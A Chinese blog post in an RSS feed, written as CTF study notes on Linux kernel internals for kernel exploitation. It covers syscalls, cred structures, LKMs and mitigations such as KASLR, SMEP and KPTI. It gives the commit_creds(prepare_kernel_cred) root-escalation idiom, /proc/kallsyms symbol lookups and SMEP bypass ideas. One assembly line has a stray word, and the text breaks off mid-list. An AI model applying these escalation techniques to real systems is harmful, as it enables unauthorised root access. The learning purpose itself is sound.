<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>閑時雜記</title><description>尋蹤流跡漸芙蓉，淺向紅虹映影空</description><link>https://sceace.net/</link><language>zh_CN</language><follow_challenge><feedId>195881399592773632</feedId><userId>195872983380883456</userId></follow_challenge><item><title>kernel_base</title><link>https://sceace.net/posts/2026-03-02-kernel_base/</link><guid isPermaLink="true">https://sceace.net/posts/2026-03-02-kernel_base/</guid><description>内核基础</description><pubDate>Mon, 02 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;PS:终于要来了吗？我的kernel_pwn？先来学一下内核吧，不能学到最后啥都不会：&lt;/p&gt;
&lt;p&gt;学习文章：https://ctf-wiki.org/pwn/linux/kernel-mode/basic-knowledge/&lt;/p&gt;
&lt;h1&gt;内核结构：&lt;/h1&gt;
&lt;p&gt;操作系统内核（Operation System Kernel）本质上也是一种软件，可以看作是普通应用程式与硬件之间的一层中间层，其主要作用便是调度系统资源、控制 IO 设备、操作网络与文件系统等，并为上层应用提供便捷、抽象的应用接口，这一点相信在学习syscall的时候已经了解过，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/kernel_base/img/kernel-base-1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;大概结构就是将应用与底层的硬件设备分开并且提供链接&lt;/p&gt;
&lt;p&gt;操作系统内核实际上是我们抽象出来的一个概念，本质上与用户进程一般无二，都是位于物理内存中的代码 + 数据，不同之处在于当 CPU  执行操作系统内核代码时通常运行在高权限，拥有着完全的硬件访问能力，而 CPU 在执行用户态代码时通常运行在低权限环境，只拥有部分 /  缺失硬件访问能力&lt;/p&gt;
&lt;p&gt;这两种不同权限的运行状态实际上是通过硬件来实现的，因此这里我们开始引入新的一个概念——&lt;strong&gt;分级保护环&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;hierarchical protection domains----&amp;gt;分级保护环&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;分级保护域&lt;/strong&gt;（hierarchical protection domains）又被称作保护环，简称 Rings ，是一种将计算机不同的资源划分至不同权限的模型&lt;/p&gt;
&lt;p&gt;在一些硬件或者微代码级别上提供不同特权态模式的 CPU 架构上，保护环通常都是硬件强制的。Rings 是从最高特权级（通常被叫作 0 级）到最低特权级（通常对应最大的数字）排列的&lt;/p&gt;
&lt;p&gt;Intel 的 CPU 将权限分为四个等级：Ring0、Ring1、Ring2、Ring3，权限等级依次降低，现代操作系统模型中我们通常只会使用 ring0 和 ring3，对应操作系统内核与用户进程，即 CPU 在执行用户进程代码时处在 ring3 下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/kernel_base/img/kernel-base-2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在我们给【用户态】与【内核态】这两个概念下定义：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;用户态：CPU 运行在 ring3 + 用户进程运行环境上下文。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;内核态：CPU 运行在 ring0 + 内核代码运行环境上下文。&lt;/p&gt;
&lt;p&gt;而两者是可以切换的&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;状态切换&lt;/h2&gt;
&lt;p&gt;CPU 在不同的特权级间进行切换主要有两个途径：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;中断与异常（interrupt &amp;amp; exception）：当 CPU 收到一个中断 / 异常时，会切换到 ring0，并根据中断描述符表索引对应的中断处理代码以执行。&lt;/li&gt;
&lt;li&gt;特权级相关指令：当 CPU 运行这些指令时会发生运行状态的改变，例如 iret 指令（ring0-&amp;gt;ring3）或是 sysenter 指令（ring3-&amp;gt;ring0）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;基于这些特权级切换的方式，现代操作系统的开发者包装出了系统调用（syscall），作为由 “用户态” 切换到 “内核态”  的入口，从而执行内核代码来完成用户进程所需的一些功能。当用户进程想要请求更高权限的服务时，便需要通过由系统提供的应用接口，使用系统调用以陷入内核态，再由操作系统完成请求。&lt;/p&gt;
&lt;h2&gt;user space to kernel space （系统调用）&lt;/h2&gt;
&lt;p&gt;当发生 &lt;code&gt;系统调用&lt;/code&gt;，&lt;code&gt;产生异常&lt;/code&gt;，&lt;code&gt;外设产生中断&lt;/code&gt; 等事件时，会发生用户态到内核态的切换，进入到内核相对应的处理程序中进行处理。&lt;/p&gt;
&lt;p&gt;系统调用是内核与用户通信的直接接口，因此我们主要关注用户空间比较常用的系统调用这一行为，其具体的过程为：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：当系统调用指令执行后，CPU 便进入内核态，以下操作在内核态完成。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;通过 &lt;code&gt;swapgs&lt;/code&gt; 切换 GS 段寄存器，将 GS 寄存器值和一个特定位置的值进行交换，目的是保存 GS 值，同时将该位置的值作为内核执行时的 GS 值使用。&lt;/li&gt;
&lt;li&gt;将当前栈顶（用户空间栈顶）记录在 CPU 独占变量区域里，将 CPU 独占区域里记录的内核栈顶放入 rsp/esp。&lt;/li&gt;
&lt;li&gt;通过 push 保存各寄存器值，具体的 &lt;a href=&quot;http://elixir.free-electrons.com/linux/v4.12/source/arch/x86/entry/entry_64.S&quot;&gt;代码&lt;/a&gt; 如下:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt; ENTRY(entry_SYSCALL_64)
 /* SWAPGS_UNSAFE_STACK是一个宏，x86直接定义为swapgs指令 */
 SWAPGS_UNSAFE_STACK

 /* 保存栈值，并设置内核栈 */
 movq %rsp, PER_CPU_VAR(rsp_scratch)
 movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp


/* 通过push保存寄存器值，形成一个pt_regs结构 */
/* Construct struct pt_regs on stack */
pushq  $__USER_DS      /* pt_regs-&amp;gt;ss */
pushq  PER_CPU_VAR(rsp_scratch)  /* pt_regs-&amp;gt;sp */
pushq  %r11             /* pt_regs-&amp;gt;flags */
pushq  $__USER_CS      /* pt_regs-&amp;gt;cs */
pushq  %rcx             /* pt_regs-&amp;gt;ip */
pushq  %rax             /* pt_regs-&amp;gt;orig_ax */
pushq  %rdi             /* pt_regs-&amp;gt;di */
pushq  %rsi             /* pt_regs-&amp;gt;si */
pushq  %rdx             /* pt_regs-&amp;gt;dx */
pushq  %rcx tuichu    /* pt_regs-&amp;gt;cx */
pushq  $-ENOSYS        /* pt_regs-&amp;gt;ax */
pushq  %r8              /* pt_regs-&amp;gt;r8 */
pushq  %r9              /* pt_regs-&amp;gt;r9 */
pushq  %r10             /* pt_regs-&amp;gt;r10 */
pushq  %r11             /* pt_regs-&amp;gt;r11 */
sub $(6*8), %rsp      /* pt_regs-&amp;gt;bp, bx, r12-15 not saved */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;​	4. 通过汇编指令判断是否为 &lt;code&gt;x32_abi&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;​	5. 通过系统调用号，跳到全局变量 &lt;code&gt;sys_call_table&lt;/code&gt; 相应位置继续执行系统调用。&lt;/p&gt;
&lt;h2&gt;虚拟内存空间&lt;/h2&gt;
&lt;p&gt;在现代操作系统中，计算机的虚拟内存地址空间通常被分为两块——供用户进程使用的用户空间（user space）与供操作系统内核使用的内核空间（kernel space），对于 Linux  而言，通常位于较高虚拟地址的虚拟内存空间被分配给内核使用，而位于较低虚拟地址的虚拟内存空间责备分配给用户进程使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;详细见程序员的自我修养
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;32位下的内存分配&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/kernel_base/img/kernel-base-3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;64位下的内存分配&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/kernel_base/img/kernel-base-4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;进程权限管理&lt;/h2&gt;
&lt;p&gt;内核 kernel 调度着一切的系统资源，并为用户应用程式提供运行环境，相应地，应用程式的权限也都是由 kernel 进行管理的。&lt;/p&gt;
&lt;h3&gt;进程描述符（process descriptor）&lt;/h3&gt;
&lt;p&gt;在内核中使用结构体 &lt;code&gt;task_struct&lt;/code&gt; 表示一个进程，该结构体定义于内核源码 &lt;code&gt;include/linux/sched.h&lt;/code&gt; 中，代码比较长就不在这里贴出了。&lt;/p&gt;
&lt;p&gt;一个进程描述符的结构应当如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/kernel_base/img/kernel-base-5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;进程权限凭证（credential）&lt;a href=&quot;https://ctf-wiki.org/pwn/linux/kernel-mode/basic-knowledge/#credential&quot;&gt;¶&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;注意到 &lt;code&gt;task_struct&lt;/code&gt; 的源码中有如下代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Process credentials: */

/* Tracer&apos;s credentials at attach: */
const struct cred __rcu        *ptracer_cred;

/* Objective and real subjective task credentials (COW): */
const struct cred __rcu        *real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu        *cred;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结构体 &lt;code&gt;cred&lt;/code&gt; 用以管理一个进程的权限，该结构体定义于内核源码 &lt;code&gt;include/linux/cred.h&lt;/code&gt; 中，如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
 * The security context of a task
 *
 * The parts of the context break down into two categories:
 *
 *  (1) The objective context of a task.  These parts are used when some other
 *  task is attempting to affect this one.
 *
 *  (2) The subjective context.  These details are used when the task is acting
 *  upon another object, be that a file, a task, a key or whatever.
 *
 * Note that some members of this structure belong to both categories - the
 * LSM security pointer for instance.
 *
 * A task has two security pointers.  task-&amp;gt;real_cred points to the objective
 * context that defines that task&apos;s actual details.  The objective part of this
 * context is used whenever that task is acted upon.
 *
 * task-&amp;gt;cred points to the subjective context that defines the details of how
 * that task is going to act upon another object.  This may be overridden
 * temporarily to point to another security context, but normally points to the
 * same context as task-&amp;gt;real_cred.
 */
struct cred {
    atomic_long_t   usage;
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we&apos;re permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key  *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct ucounts *ucounts;
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    /* RCU deletion */
    union {
        int non_rcu;            /* Can we skip RCU deletion? */
        struct rcu_head rcu;        /* RCU deletion hook */
    };
} __randomize_layout;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一个 cred 结构体中记载了一个进程四种不同的用户 ID，在通常情况下这几个 ID 应当都是相同的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;真实用户 ID（real UID）：标识一个进程启动时的用户 ID&lt;/li&gt;
&lt;li&gt;保存用户 ID（saved UID）：标识一个进程最初的有效用户 ID&lt;/li&gt;
&lt;li&gt;有效用户 ID（effective UID）：标识一个进程正在运行时所属的用户  ID，一个进程在运行途中是可以改变自己所属用户的，因而权限机制也是通过有效用户 ID 进行认证的，内核通过 euid  来进行特权判断；为了防止用户一直使用高权限，当任务完成之后，euid 会与 suid 进行交换，恢复进程的有效权限&lt;/li&gt;
&lt;li&gt;文件系统用户 ID（UID for VFS ops）：标识一个进程创建文件时进行标识的用户 ID&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;用户组 ID 同样分为四个：真实组 ID、保存组 ID、有效组 ID、文件系统组 ID，与用户 ID 是类似的，这里便不再赘叙。&lt;/p&gt;
&lt;h2&gt;进程权限改变&lt;/h2&gt;
&lt;p&gt;前面我们讲到，一个进程的权限是由位于内核空间的 &lt;code&gt;cred&lt;/code&gt; 结构体进行管理的，那么我们不难想到：只要改变一个进程的 &lt;code&gt;cred&lt;/code&gt; 结构体，就能改变其执行权限。&lt;/p&gt;
&lt;p&gt;在内核空间有如下两个函数，都位于 &lt;code&gt;kernel/cred.c&lt;/code&gt; 中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;struct cred* prepare_kernel_cred(struct task_struct* daemon)&lt;/code&gt;：该函数用以拷贝一个进程的 cred 结构体，并返回一个新的 cred 结构体，需要注意的是 daemon 参数应为有效的进程描述符地址。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;int commit_creds(struct cred *new)&lt;/code&gt;：该函数用以将一个新的 cred 结构体应用到进程。&lt;/p&gt;
&lt;p&gt;当prepare_kernel_cred返回为空的时候，就会使得commit_creds创建一个null的结构体，而root组的id恰好是0,这样就达到了提权的目的&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Loadable Kernel Modules(LKMs)&lt;/h2&gt;
&lt;p&gt;Linux Kernel 采用的是宏内核架构，一切的系统服务都需要由内核来提供，虽然效率较高，但是缺乏可扩展性与可维护性，同时内核需要装载很多可能用到的服务，但这些服务最终可能未必会用到，还会占据大量内存空间，同时新服务的提供往往意味着要重新编译整个内核。&lt;/p&gt;
&lt;p&gt;综合以上考虑，&lt;strong&gt;可装载内核模块&lt;/strong&gt;（Loadable Kernel Modules，简称 LKMs）出现了，位于内核空间的 LKMs 可以提供新的系统调用或其他服务，同时 LKMs 可以像积木一样被装载入内核 / 从内核中卸载，大大提高了 kernel 的可拓展性与可维护性。&lt;/p&gt;
&lt;p&gt;常见的 LKMs 包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;驱动程序（Device drivers）
&lt;ul&gt;
&lt;li&gt;设备驱动&lt;/li&gt;
&lt;li&gt;文件系统驱动&lt;/li&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;内核扩展模块 (modules)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;LKMs 的文件格式和用户态的可执行程序相同，Linux 下为 ELF，Windows 下为 exe/dll，mac 下为 MACH-O，因此我们可以用 IDA 等工具来分析内核模块。&lt;/p&gt;
&lt;p&gt;模块可以被单独编译，但不能单独运行。它在运行时被链接到内核作为内核的一部分在内核空间运行，这与运行在用户控件的进程不同。&lt;/p&gt;
&lt;p&gt;模块通常用来实现一种文件系统、一个驱动程序或者其他内核上层的功能。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Linux 内核之所以提供模块机制，是因为它本身是一个单内核 (monolithic kernel)。单内核的优点是效率高，因为所有的内容都集合在一起，但缺点是可扩展性和可维护性相对较差，模块机制就是为了弥补这一缺陷。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;相关指令&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;insmod&lt;/strong&gt;: 讲指定模块加载到内核中&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;rmmod&lt;/strong&gt;: 从内核中卸载指定模块&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;lsmod&lt;/strong&gt;: 列出已经加载的模块&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;modprobe&lt;/strong&gt;: 添加或删除模块，modprobe 在加载模块时会查找依赖关系&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;大多数　CTF 中的 kernel vulnerability 也出现在 LKM 中。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;内核交互&lt;/h1&gt;
&lt;h2&gt;系统调用简介&lt;/h2&gt;
&lt;p&gt;系统调用，指的是用户空间的程序向操作系统内核请求需要更高权限的服务，比如 IO 操作或者进程间通信。系统调用提供用户程序与操作系统间的接口，部分库函数（如 scanf，puts 等 IO 相关的函数实际上是对系统调用的封装（read 和 write））&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在 &lt;em&gt;/usr/include/x86_64-linux-gnu/asm/unistd_64.h&lt;/em&gt; 和 &lt;em&gt;/usr/include/x86_64-linux-gnu/asm/unistd_32.h&lt;/em&gt; 分别可以查看 64 位和 32 位的系统调用号。&lt;/p&gt;
&lt;p&gt;同时推荐一个很好用的网站 &lt;a href=&quot;https://syscalls.kernelgrok.com&quot;&gt;Linux Syscall Reference&lt;/a&gt;，可以查阅 32 位系统调用对应的寄存器含义以及源码。64 位系统调用可以查看 &lt;a href=&quot;https://syscalls64.paolostivanin.com/&quot;&gt;Linux Syscall64 Reference&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;系统调用：ioctl&lt;/h2&gt;
&lt;p&gt;在 &lt;code&gt;*NIX&lt;/code&gt; 中一切都可以被视为文件，因而一切都可以以访问文件的方式进行操作，为了方便，Linux 定义了系统调用 &lt;code&gt;ioctl&lt;/code&gt; 供进程与设备之间进行通信。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ioctl&lt;/code&gt; 是一个专用于设备输入输出操作的一个系统调用，其调用方式如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int ioctl(int fd, unsigned long request, ...)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其&lt;strong&gt;第一个参数为打开设备 (open) 返回的 &lt;a href=&quot;http://m4x.fun/post/play-with-file-descriptor-1/&quot;&gt;文件描述符&lt;/a&gt;&lt;/strong&gt;，第二个参数为&lt;strong&gt;用户程序对设备的控制命令&lt;/strong&gt;，再后边的参数则是一些补充参数，与设备有关。&lt;/p&gt;
&lt;p&gt;对于一个提供了 ioctl 通信方式的设备而言，我们可以通过其文件描述符、使用不同的请求码及其他请求参数通过 ioctl 系统调用完成不同的对设备的 I/O 操作。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;使用 ioctl 进行通信的原因：&lt;/p&gt;
&lt;p&gt;操作系统提供了内核访问标准外部设备的系统调用，因为大多数硬件设备只能够在内核空间内直接寻址, 但是当访问非标准硬件设备这些系统调用显得不合适, 有时候用户模式可能需要直接访问设备。&lt;/p&gt;
&lt;p&gt;比如，一个系统管理员可能要修改网卡的配置。现代操作系统提供了各种各样设备的支持，有一些设备可能没有被内核设计者考虑到，如此一来提供一个这样的系统调用来使用设备就变得不可能了。&lt;/p&gt;
&lt;p&gt;为了解决这个问题，内核被设计成可扩展的，可以加入一个称为设备驱动的模块，驱动的代码允许在内核空间运行而且可以对设备直接寻址。一个 Ioctl 接口是一个独立的系统调用，通过它用户空间可以跟设备驱动沟通。对设备驱动的请求是一个以设备和请求号码为参数的 Ioctl  调用，如此内核就允许用户空间访问设备驱动进而访问设备而不需要了解具体的设备细节，同时也不需要一大堆针对不同设备的系统调用&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;常见内核态函数&lt;/h2&gt;
&lt;p&gt;在内核当中我们无法使用用户态的 C 库中的函数，内核自己有着对应的各种函数，其中常用的功能函数如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;printf() -&amp;gt; &lt;strong&gt;printk()&lt;/strong&gt;，但需要注意的是 printk() 不一定会把内容显示到终端上，但一定在内核缓冲区里，可以通过 &lt;code&gt;dmesg&lt;/code&gt; 查看效果&lt;/li&gt;
&lt;li&gt;memcpy() -&amp;gt;copy_from_user()/copy_to_user()&lt;/li&gt;
&lt;li&gt;copy_from_user() 实现了将用户空间的数据传送到内核空间  User----&amp;gt;Kernel&lt;/li&gt;
&lt;li&gt;copy_to_user() 实现了将内核空间的数据传送到用户空间      Kernel-----&amp;gt;User&lt;/li&gt;
&lt;li&gt;malloc() -&amp;gt; &lt;strong&gt;kmalloc()&lt;/strong&gt;，内核态的内存分配函数，和 malloc() 相似，但使用的是 &lt;code&gt;slab/slub 分配器&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;free() -&amp;gt; &lt;strong&gt;kfree()&lt;/strong&gt;，同 kmalloc()&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;此外，&lt;code&gt;kernel 管理进程，因此 kernel 也记录了进程的权限&lt;/code&gt;。kernel 中有两个可以方便的改变权限的函数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;int commit_creds(struct cred *new)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;struct cred* prepare_kernel_cred(struct task_struct* daemon)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;从函数名也可以看出，执行 &lt;code&gt;commit_creds(prepare_kernel_cred(&amp;amp;init_task))&lt;/code&gt; 即可获得 root 权限，即拷贝 init 进程的 cred 作为当前进程的新的 credentials。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;更多关于 &lt;code&gt;prepare_kernel_cred&lt;/code&gt; 的信息可以参考 &lt;a href=&quot;https://elixir.bootlin.com/linux/v4.6/source/kernel/cred.c#L594&quot;&gt;源码&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;执行 &lt;code&gt;commit_creds(prepare_kernel_cred(&amp;amp;init_task))&lt;/code&gt; 也是最常用的提权手段，这些函数与变量的地址都可以在 &lt;code&gt;/proc/kallsyms&lt;/code&gt; 中查看（较老的内核版本中是 &lt;code&gt;/proc/ksyms&lt;/code&gt;），该文件的内容通常需要 root 权限才能正确查看。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo cat /proc/kallsyms | grep &quot;T commit_creds&quot;
ffffffffbb11ab20 T commit_creds
$ sudo cat /proc/kallsyms | grep &quot;T prepare_kernel_cred&quot;
ffffffffbb11b080 T prepare_kernel_cred
$ sudo cat /proc/kallsyms | grep &quot;D init_cred&quot;
ffffffffbce58840 D init_cred
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;proc_create&lt;/code&gt;函数：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关于这个函数一般出现在&lt;code&gt;init_module&lt;/code&gt;里面，这个的作用一般是创建一个文件在&lt;code&gt;/proc&lt;/code&gt;下并且把这个文件的操作逻辑绑定到我定义的 &lt;code&gt;fops&lt;/code&gt;，当你对这个文件进行操作的时候，就会触发&lt;code&gt;fogs&lt;/code&gt;函数表里面的函数，&lt;/p&gt;
&lt;p&gt;&lt;code&gt;for example&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;proc_entry = (proc_dir_entry *)proc_create(&quot;pwncollege&quot;, 438, 0, &amp;amp;fops);
.data:0000000000000AA0 fops            file_operations &amp;lt;0, 0, offset device_read, offset device_write, 0, 0, \
.data:0000000000000AA0                                  0, 0, 0, 0, 0, 0, 0, 0, offset device_open, 0, \
.data:0000000000000AA0                                  offset device_release, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, \
.data:0000000000000AA0                                  0, 0, 0, 0, 0&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么这里就会先调用device_read，然后调用device_write。。。。。。，以此类推&lt;/p&gt;
&lt;h1&gt;Mitigation（kernel 保护）&lt;/h1&gt;
&lt;p&gt;与一般的程序相同，Linux Kernel 同样有着各种各样的保护机制。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;canary, dep, PIE, RELRO 等保护与用户态原理和作用相同。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;KASLR&lt;/h2&gt;
&lt;p&gt;KASLR 即&lt;code&gt;内核空间地址随机化&lt;/code&gt;（kernel address space layout randomize），与用户态程序的 ASLR 相类似——在内核镜像映射到实际的地址空间时加上一个偏移值（粒度为 256MB），但是内核内部的相对偏移其实还是不变的。&lt;/p&gt;
&lt;p&gt;在未开启 KASLR 保护机制时，内核代码段的基址为 &lt;code&gt;0xffffffff81000000&lt;/code&gt; ，direct mapping area 的基址为 &lt;code&gt;0xffff888000000000&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;&lt;em&gt;FGKASLR&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;KASLR 虽然在一定程度上能够缓解攻击，但是若是攻击者通过一些信息泄露漏洞获取到内核中的某个地址，仍能够直接得知内核加载地址偏移从而得知整个内核地址布局，因此有研究者基于 KASLR 实现了 FGKASLR，&lt;strong&gt;以函数粒度重新排布内核代码&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;STACK PROTECTOR&lt;/h2&gt;
&lt;p&gt;类似于用户态程序的 canary，通常又被称作是 stack cookie，用以检测&lt;strong&gt;是否发生内核堆栈溢出&lt;/strong&gt;，若是发生内核堆栈溢出则会产生 kernel panic。&lt;/p&gt;
&lt;p&gt;内核中的 canary 的值通常取自 gs 段寄存器某个固定偏移处的值。&lt;/p&gt;
&lt;h2&gt;SMAP/SMEP&lt;/h2&gt;
&lt;p&gt;SMAP 即&lt;code&gt;管理模式访问保护&lt;/code&gt;（Supervisor Mode Access Prevention），SMEP 即&lt;code&gt;管理模式执行保护&lt;/code&gt;（Supervisor Mode Execution Prevention），这两种保护通常是同时开启的，用以阻止&lt;strong&gt;内核空间直接访问 / 执行用户空间的数据&lt;/strong&gt;，完全地将内核空间与用户空间相分隔开，用以防范 ret2usr（return-to-user，将内核空间的指令指针重定向至用户空间上构造好的提权代码）攻击，与NX保护类似&lt;/p&gt;
&lt;p&gt;SMEP 保护的绕过有以下两种方式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;利用内核线性映射区对物理地址空间的完整映射，找到用户空间对应页框的内核空间地址，利用该内核地址完成对用户空间的访问（即一个内核空间地址与一个用户空间地址映射到了同一个页框上），这种攻击手法称为 ret2dir 。&lt;/li&gt;
&lt;li&gt;Intel 下系统根据 CR4 控制寄存器的第 20 位标识是否开启 SMEP 保护（1 为开启，0 为关闭），若是能够通过 kernel ROP 改变  CR4 寄存器的值便能够关闭 SMEP 保护，完成 SMEP-bypass，接下来就能够重新进行 ret2usr，&lt;strong&gt;但对于开启了 KPTI 的内核而言，内核页表的用户地址空间无执行权限，这使得 ret2usr 彻底成为过去式&lt;/strong&gt; 。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;在 ARM 下有一种类似的保护叫 &lt;code&gt;PXN&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;KPTI&lt;/h2&gt;
&lt;p&gt;KPTI 即 &lt;code&gt;内核页表隔离&lt;/code&gt;（Kernel page-table isolation），内核空间与用户空间分别使用两组不同的页表集，这对于内核的内存管理产生了根本性的变化。&lt;/p&gt;
&lt;p&gt;需要进行说明的是，&lt;strong&gt;在这两张页表上都有着对用户内存空间的完整映射，但在用户页表中只映射了少量的内核代码（例如系统调用入口点、中断处理等），而只有在内核页表中才有着对内核内存空间的完整映射，但两张页表都有着对用户内存空间的完整映射&lt;/strong&gt;，如下图所示，左侧是未开启 KPTI 后的页表布局，右侧是开启了 KPTI 后的页表布局。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/kernel_base/img/kernel-base-6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;KPTI 的发明主要是用来修复一个史诗级别的 CPU 硬件漏洞：Meltdown。简单理解就是利用 CPU 流水线设计中（乱序执行与预测执行）的漏洞来获取到用户态无法访问的内核空间的数据，属于侧信道攻击的一种&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;KPTI 同时还令内核页表中属于用户地址空间的部分不再拥有执行权限，这使得 ret2usr 彻底成为过去式&lt;/strong&gt;。&lt;/p&gt;
&lt;h1&gt;内核 “堆” 上保护机制 &lt;a href=&quot;https://ctf-wiki.org/pwn/linux/kernel-mode/basic-knowledge/#_11&quot;&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;h2&gt;Hardened Usercopy&lt;a href=&quot;https://ctf-wiki.org/pwn/linux/kernel-mode/basic-knowledge/#hardened-usercopy&quot;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;hardened usercopy 是用以在用户空间与内核空间之间拷贝数据时进行越界检查的一种防护机制，&lt;strong&gt;主要检查拷贝过程中对内核空间中数据的读写是否会越界&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;读取的数据长度是否超出源 object 范围。&lt;/li&gt;
